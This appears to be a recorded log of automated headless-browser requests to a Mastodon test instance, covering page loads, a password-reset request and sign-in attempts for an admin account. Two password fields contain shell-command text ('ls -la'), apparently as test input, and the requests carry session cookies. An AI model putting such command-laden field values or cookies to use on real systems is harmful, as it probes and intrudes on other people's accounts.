{"method": "GET", "target": "/packs/polyfills-BO_K2Jdc.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/auth/password/new", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _mastodon_session=doiWTsU%2BWmteBUgyFach0d%2F%2FosVY1iKW9qPdmfoLpnkCsuP8cbv0VhG%2F%2FqS6%2BfRnbWb033MK4f6zM%2Fr2krYJbozh%2F1OF9mcknLo%2B9e0qzy4WqjG3KLOUOqbFks%2BqqJu6kQ6ajE4WGfHZr%2BZwy42lRexAwTrGBfqM5NvvrtAHvF99JTU39AwUV1JlKhGPyEtXXA7bHquAlXvfu%2BGCDFCNpD7yV5feUAsCNBrL4R0W0%2F6YGqNFYnqO2NJn%2FX0dbjvokhLfoFrqoLu3nyJxgIIvZxNAS1KtFUc7og%3D%3D--YTkrCgF%2FZl0VxP5R--polL48RPoDkZ%2Bgs%2ByOaRuw%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/search", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _mastodon_session=doiWTsU%2BWmteBUgyFach0d%2F%2FosVY1iKW9qPdmfoLpnkCsuP8cbv0VhG%2F%2FqS6%2BfRnbWb033MK4f6zM%2Fr2krYJbozh%2F1OF9mcknLo%2B9e0qzy4WqjG3KLOUOqbFks%2BqqJu6kQ6ajE4WGfHZr%2BZwy42lRexAwTrGBfqM5NvvrtAHvF99JTU39AwUV1JlKhGPyEtXXA7bHquAlXvfu%2BGCDFCNpD7yV5feUAsCNBrL4R0W0%2F6YGqNFYnqO2NJn%2FX0dbjvokhLfoFrqoLu3nyJxgIIvZxNAS1KtFUc7og%3D%3D--YTkrCgF%2FZl0VxP5R--polL48RPoDkZ%2Bgs%2ByOaRuw%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/intl/en-DcquEjBE.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/search", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _mastodon_session=IJN2eqKBO05OJ1oXrd6BYuSZsdZPskfMZcqLJUdxWsrLvEOMMQdBgUwgufconwit6Pi0P5%2FmxTLlc3O9gen5bk12RdTCWD0YobA%2BAjFQ465JQ0LiwhoVVoBFTzSb57dpWK3%2BtcSgpX0XX46RvpuDZFVFPHMgTTG8KO3xjD9jJ%2FNGt3e0b8ITbTLhF659eJlHPsiqD2UIFwjUMEbnBviUoCJkN8RlizrcXpFQM0ZcPQ7F%2Bi0ZXoWKQwu9S%2FwxrdHg%2F7%2BrlGV3OExuLx2qNgYPVLsxUZIEXPK5xw%3D%3D--1bggnlF8IO4aOX3J--8R1a7ssXMlwcz4jC50a2rA%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/helmet-C5cFHKKR.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/search", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _mastodon_session=IJN2eqKBO05OJ1oXrd6BYuSZsdZPskfMZcqLJUdxWsrLvEOMMQdBgUwgufconwit6Pi0P5%2FmxTLlc3O9gen5bk12RdTCWD0YobA%2BAjFQ465JQ0LiwhoVVoBFTzSb57dpWK3%2BtcSgpX0XX46RvpuDZFVFPHMgTTG8KO3xjD9jJ%2FNGt3e0b8ITbTLhF659eJlHPsiqD2UIFwjUMEbnBviUoCJkN8RlizrcXpFQM0ZcPQ7F%2Bi0ZXoWKQwu9S%2FwxrdHg%2F7%2BrlGV3OExuLx2qNgYPVLsxUZIEXPK5xw%3D%3D--1bggnlF8IO4aOX3J--8R1a7ssXMlwcz4jC50a2rA%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/permissions-Dkwe-SYl.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/search", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _mastodon_session=IJN2eqKBO05OJ1oXrd6BYuSZsdZPskfMZcqLJUdxWsrLvEOMMQdBgUwgufconwit6Pi0P5%2FmxTLlc3O9gen5bk12RdTCWD0YobA%2BAjFQ465JQ0LiwhoVVoBFTzSb57dpWK3%2BtcSgpX0XX46RvpuDZFVFPHMgTTG8KO3xjD9jJ%2FNGt3e0b8ITbTLhF659eJlHPsiqD2UIFwjUMEbnBviUoCJkN8RlizrcXpFQM0ZcPQ7F%2Bi0ZXoWKQwu9S%2FwxrdHg%2F7%2BrlGV3OExuLx2qNgYPVLsxUZIEXPK5xw%3D%3D--1bggnlF8IO4aOX3J--8R1a7ssXMlwcz4jC50a2rA%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/form_field_wrapper-B00MNsQd.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _mastodon_session=IJN2eqKBO05OJ1oXrd6BYuSZsdZPskfMZcqLJUdxWsrLvEOMMQdBgUwgufconwit6Pi0P5%2FmxTLlc3O9gen5bk12RdTCWD0YobA%2BAjFQ465JQ0LiwhoVVoBFTzSb57dpWK3%2BtcSgpX0XX46RvpuDZFVFPHMgTTG8KO3xjD9jJ%2FNGt3e0b8ITbTLhF659eJlHPsiqD2UIFwjUMEbnBviUoCJkN8RlizrcXpFQM0ZcPQ7F%2Bi0ZXoWKQwu9S%2FwxrdHg%2F7%2BrlGV3OExuLx2qNgYPVLsxUZIEXPK5xw%3D%3D--1bggnlF8IO4aOX3J--8R1a7ssXMlwcz4jC50a2rA%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/@admin/with_replies", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _mastodon_session=42mL10PkAX9XYgEBGPPfjNKIRbIpiy84ppa4Y5EYeCOTdKQJZfMXE0pzAJh5wERGUFJDOokmvWRwIDhjB4b7gKGvItBtC0ucnTwN5Ii6EAbONS23cGmAK7ONtvdxdAmbSujdm7mJk9yHYSf39CruUIJ0xhGjp7arrN60QCMXklXo4QQBWuIh52qSMhon62xFCaxx1B4bHO9IELRw7EqZ877rzLi%2FYTGTPsVxqb3zNBS5FPLo%2F5h4tz%2B1Bjz1vA2CYsN2kO2E5Du%2Fy44nN2a24%2FElemcLwkEVsA%3D%3D--jb3fXA9OhA%2BumZe4--RuKLyPXQt17IKgB6c%2B6bhA%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/oops.png", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: no-cors", "Sec-Fetch-Dest: image", "Referer: https://example.com/@admin/with_replies", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _mastodon_session=P99A4aWKLH4s0GL46qk8Hl%2BUpnDukJ6bw1DpAbDHV67zkcBmXsqzWS1GJBwfCtYQaVLBgtzvamWzuyYpZLrzEjbEvbCDiW77AslmOj%2BQiyXE3xtnF%2BYvRbF3wHp1RBBEvWQ3B19O3%2B6DInK6O2WRICL6lET45EBlMrYFBBknMKwl1KHoo%2BKheo4TUqfZewvKqPqRZFjsBzFh6l7U4VZsBb4RELtl8Dk8leNd%2F0vCboT6UOWGYvCyb8brQBMizsjJrpa8ZEKz0XWrntRYxzvLjI1M2o%2BRugTi8Q%3D%3D--kZdT4xbuOxBTkQzT--Z4RpSlVplsEmtgrsU0RJow%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/auth/sign_in", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _mastodon_session=P99A4aWKLH4s0GL46qk8Hl%2BUpnDukJ6bw1DpAbDHV67zkcBmXsqzWS1GJBwfCtYQaVLBgtzvamWzuyYpZLrzEjbEvbCDiW77AslmOj%2BQiyXE3xtnF%2BYvRbF3wHp1RBBEvWQ3B19O3%2B6DInK6O2WRICL6lET45EBlMrYFBBknMKwl1KHoo%2BKheo4TUqfZewvKqPqRZFjsBzFh6l7U4VZsBb4RELtl8Dk8leNd%2F0vCboT6UOWGYvCyb8brQBMizsjJrpa8ZEKz0XWrntRYxzvLjI1M2o%2BRugTi8Q%3D%3D--kZdT4xbuOxBTkQzT--Z4RpSlVplsEmtgrsU0RJow%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/_rolldown_dynamic_import_helper-CIAwlR2T.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/auth/sign_in", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _mastodon_session=sPgL3ou8sthfWEkwqZ65YZy9V2B1tZu9TNRUYO%2Bp07ZVlTIyhmzZcePoFdN8IzhCysqLk0t27cqDPQH%2F7DNSQIJgYTRo67X3pMWZ4oThGw8f8eOYrCpWWjkPaXIQM18CQx4%2Ba%2FrpWyr2FvWUbkRRTOLQlWU%2FPah9dAQxZdWMDaP7ELjRdmf3EBp%2FQ3xcYJD6maSbMzB59bBAcDwNQ9jistbiipsOPSRrUsXmvVcwvVjuowPUUEGVsuAufTe%2BVDvvM7QBf8mUxTTpsyB7mX4mJAtQwkvS9e8Ksw%3D%3D--mWr3qElxhcNX%2BK3s--L5GjqJgw3Kt0CYbhkSAzeQ%3D%3D"], "body": ""}
|
||||||
|
{"method": "POST", "target": "/auth/sign_in", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 181", "Cache-Control: max-age=0", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Origin: https://example.com", "Content-Type: application/x-www-form-urlencoded", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/auth/sign_in", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _mastodon_session=sPgL3ou8sthfWEkwqZ65YZy9V2B1tZu9TNRUYO%2Bp07ZVlTIyhmzZcePoFdN8IzhCysqLk0t27cqDPQH%2F7DNSQIJgYTRo67X3pMWZ4oThGw8f8eOYrCpWWjkPaXIQM18CQx4%2Ba%2FrpWyr2FvWUbkRRTOLQlWU%2FPah9dAQxZdWMDaP7ELjRdmf3EBp%2FQ3xcYJD6maSbMzB59bBAcDwNQ9jistbiipsOPSRrUsXmvVcwvVjuowPUUEGVsuAufTe%2BVDvvM7QBf8mUxTTpsyB7mX4mJAtQwkvS9e8Ksw%3D%3D--mWr3qElxhcNX%2BK3s--L5GjqJgw3Kt0CYbhkSAzeQ%3D%3D"], "body": "authenticity_token=YBiFBdF-3jG5EOxhF1sjYGzUdBCTXEROhQPe4y5bBFWERvd8gQqxhguAlHAJuI_W98DnScSrzETt5jvr_ajjBA&user%5Bemail%5D=admin%40example.com&user%5Bpassword%5D=wrong+ls+-la&button="}
|
||||||
|
{"method": "GET", "target": "/auth/password/new", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _mastodon_session=uI%2BJbpntJBTB6fbn6N1mQIMyFngCoyGh4xPbuheZgFu9hc35yo2ry2OEJ6PURZIoQdC5X76YOOatVLfdQOZsmdFEiEFo1YPpqda1x8Of2eksflmrzKDVVajQ2CIppm3cS0MR6WJSPH7Vp9hDBD3U4L3xe5e0S1EHR3AN2uW8FYAnxZA5VScmcta1e4cdNXQYATYRShOA6TPoh9IZqoQBEEZGuv1EDlHS%2Fu%2FTRAxn2Qo4l%2FzTcucWDRq%2F4gsA7s9tdU8SrsvwNRc%2Bz%2BKNIMiDiKEVRCuh%2BEQ%2Few%3D%3D--te09A8TdGyjRQryO--HlwNLJKT2Y1NN%2FPpenYjOg%3D%3D"], "body": ""}
|
||||||
|
{"method": "POST", "target": "/auth/password", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 150", "Cache-Control: max-age=0", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Origin: https://example.com", "Content-Type: application/x-www-form-urlencoded", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/auth/password/new", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _mastodon_session=tK17FZfnsNGmfgp5g3yygZyIZhAlUySr3oCJVeLEyEN2vMOmcbZjI4vJeHrdrnUOgEjTFHfnqNel%2BuvWe1xkga9HBnKGZAg2fVxiVB51qjHbSqwJtWWXPbWJmE42%2Br93hAmO5a9m6Eq9J9UKaDhtg%2Bdi%2F4QjfI47AQBAC5VorkIAOKFS%2BgodC8ZmiwEfaKmt1ZrLYq7LbS%2BPKZq1u2EeIS5zsHGMmNBZKLIPPNPv9lBueoqEluQtsdYWxsiPitgQ6o%2Bpzsfk0c6q3tU%2FxCSmk2PHthvJdrr3wQ%3D%3D--nattG4n8ZzPDvFuE--tnSiSmZJb1h8kLZ7JpXiYQ%3D%3D"], "body": "authenticity_token=dGH0Rtc_mPEzBPXi7x2dxU2LHEX8Q6p87yFwjDFLHwu2_iXowjtGuoybsROnRAN6LbTINkxk5zhaB6xSROqkGg&user%5Bemail%5D=nobody%40example.com&button="}
|
||||||
|
{"method": "GET", "target": "/packs/emoji-C5pkf6Bo.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/auth/sign_in", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _mastodon_session=LgPurskyAR3GEmHSy%2BxSW7e%2F6bC3cGLJXHHTQY568jHH6xxcE2wxGfPIjNX26itedY98EhR5N8QN7%2FMTemz1JRbhyQ%2F%2Bi0IStWJ8OzICHhz3446gouG1g%2Bei0GpJtyUOMd0%2B2Rr%2BLM7sRYXeE3IPW3LzX2ykCyN4cxZQkVUFQ7y8O7PR9RZw%2FOd1NkY9%2B82XibUC89vjQaBTdETk0zzgQzCLurDdnmtJkKU31Vh3dyeeHa63pmqmDtlRGRWjAVJT0M%2BXk0ki7YNTVLq4uWGHVJ6q6TeO2BswEA%3D%3D--kjzl6yjAEI1NOCBX--YIQZP8uv8I1mkb2GTcSrbA%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/settings-Cq4pjZIN.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/auth/sign_in", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _mastodon_session=Q7HoiTX%2BcJm9LXv%2BhZYGxZRXindYZ%2FDJ0HYdn7ur0GUl42m3edTDwwrcxhU9yoS8yxdqRLgaTk0jP3qinG8UASlcPHDXXeyeCdAHpahqiZ%2Fuxmn10PLbClbOHHUfVCemrKfDz56jtrpEa65rc5q8AjDXHUh5gkaw5lhA9zzWv0j%2FamxGUGqybsxH%2F3trfw%2FSeDymUXhySPdfidMuBWMEfTn8P7Yd8CWYKmyy0lx0hcPs%2FyR%2FWfaSgyJK%2FiBylbIcOkgK2Mg7mbLEo8qihGgVORLgG22E5%2BxOCA%3D%3D--BmwNr8ZWAKQMuKjM--CImc0jei8FFJeru5Z7tbMQ%3D%3D"], "body": ""}
|
||||||
|
{"method": "POST", "target": "/auth/sign_in", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 196", "Cache-Control: max-age=0", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Origin: https://example.com", "Content-Type: application/x-www-form-urlencoded", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/auth/sign_in", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _mastodon_session=Q7HoiTX%2BcJm9LXv%2BhZYGxZRXindYZ%2FDJ0HYdn7ur0GUl42m3edTDwwrcxhU9yoS8yxdqRLgaTk0jP3qinG8UASlcPHDXXeyeCdAHpahqiZ%2Fuxmn10PLbClbOHHUfVCemrKfDz56jtrpEa65rc5q8AjDXHUh5gkaw5lhA9zzWv0j%2FamxGUGqybsxH%2F3trfw%2FSeDymUXhySPdfidMuBWMEfTn8P7Yd8CWYKmyy0lx0hcPs%2FyR%2FWfaSgyJK%2FiBylbIcOkgK2Mg7mbLEo8qihGgVORLgG22E5%2BxOCA%3D%3D--BmwNr8ZWAKQMuKjM--CImc0jei8FFJeru5Z7tbMQ%3D%3D"], "body": "authenticity_token=tYbEcCSCu_h8rdEZMghnMlgWjAfdQqHTHZTziWCpLDGY4jaY_4SFkQ8H3ExPvU0CrjiKVBmqAYLTIfSNHXZxQA&user%5Bemail%5D=admin%40example.com&user%5Bpassword%5D=Notes+on+python3+and+ls+-la&button="}
|
||||||
|
{"method": "GET", "target": "/", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Referer: https://example.com/auth/sign_in", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqWmlabVkzTVdZMVlURXpZelkwTTJFelpUazNZVGcwTW1ObE1XRTJNV1UwSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6MzQ6NTkuNjQxWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--28d48911bed2da76e657cfd48585158534d5c47a; _mastodon_session=YOrx89o7qjhKPvfEpdmJdg570269f7aSZUML40W%2BlW%2Fubs3xwgoch4q6AM6Xg32%2Fg8exFZkHUcCpsL0Giy7MTzZtWxBlZf%2F5I9GiyuFtlESBUtdEqkP4Z4KrT8%2Fg2omaV31xIX%2FzBgvIKVAfLuVT9qYDlW%2Fc75Set4vCcT5iavNtARnC6D5zDbrQ2LKim4q0R7PxXwig%2BurKNmOXTX%2BkXRjGWCd53iA4MDZv9epg0PHiOaeEm2mSGNXj9B0UWAemSPAKe7fhjrde1fvntrmpl4%2FWRY8HD27UsA%3D%3D--%2BsgIH0y6zLs7lrky--UaPVyEFTlgr4bA1SqWGzmQ%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/auth/edit", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Referer: https://example.com/auth/sign_in", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqWmlabVkzTVdZMVlURXpZelkwTTJFelpUazNZVGcwTW1ObE1XRTJNV1UwSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6MzQ6NTkuNzY0WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--2c181d84aa265551b1780d27b3a76d7cbab01297; _mastodon_session=TQU0aHRupi%2FO1r4Sxmv5u0NmPDuoFmGlYx%2BVd0gkNyNuJjnokw4P2gab2wy2odvAiO1pb1tsNmi3Qdfsa8AwhL6XftfrqXGEF7jOqES4u%2FaPRaXGJSiKVxpx9rnZsFuXt3RLE7n5b7BpCo2aGAhgj6A%2FXbtz2KZlcc46LCsYn4v4GXf8nmjT60UsJCRwFZGe7sxa3IgN5hS6nBq%2Fnet2iiLuEIJYN6mQlsCfN%2BMCX49ea94HlP2MU51C45bAQ25hajhf%2BCtJkfEUHl1q%2FDGzeuUpHCsc1Pz2pA%3D%3D--%2BE9%2FnPiju%2BohhYYJ--qZsWuPtrWuSNcuYoMrq71w%3D%3D"], "body": ""}
|
||||||
|
